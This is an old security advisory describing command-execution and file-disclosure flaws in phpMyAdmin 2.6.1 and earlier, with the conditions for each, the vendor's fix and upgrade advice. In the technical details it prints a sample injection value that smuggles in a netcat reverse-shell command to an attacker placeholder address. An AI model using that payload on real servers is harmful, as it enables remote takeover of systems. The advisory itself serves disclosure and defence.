|
|
|
|
| |
phpMyAdmin is "a tool written in PHP intended to handle the administration of MySQL over the Web. Currently it can create and drop databases, create/drop/alter tables, delete/edit/add fields, execute any SQL statement, manage keys on fields, manage privileges, export data into various formats and is available in 47 languages".
Two vulnerabilities in phpMyAdmin have been discovered, these vulnerabilities allow command execution and disclosure of sensitive files. |
| |
Credit:
The information has been provided by Nicolas Gregoire.
The original article can be found at: http://www.exaprobe.com/labs/advisories/esa-2004-1213.html
|
| |
Vulnerable Systems:
* phpMyAdmin version 2.6.1 and prior
Immune Systems:
* phpMyAdmin version 2.6.1-rc1
Technical details:
Command execution:
* Bug introduced in 2.6.0-pl2
* Attacker does *not* need access to the phpMyAdmin interface
* PHP safe mode must be off
* External transformations must be activated
* Sample of offensive value : F\';nc -e /bin/sh $IP 80;echo \'A
File disclosure:
* Attacker need access to the phpMyAdmin interface
* PHP safe mode must be off
* $cfg['UploadDir'] must be defined
* Exploitation is done via 'sql_localfile'
Vendor Response:
After notification by Exaprobe, maintainers of the phpMyAdmin project have released version 2.6.1-rc1 that fixes these two vulnerabilities.
Recommendation:
Upgrade to 2.6.1-rc1 or newer. Deactivate uploads and transformations if possible.
CVE Information:
CAN-2004-1147
CAN-2004-1148
|
|
|
|
|
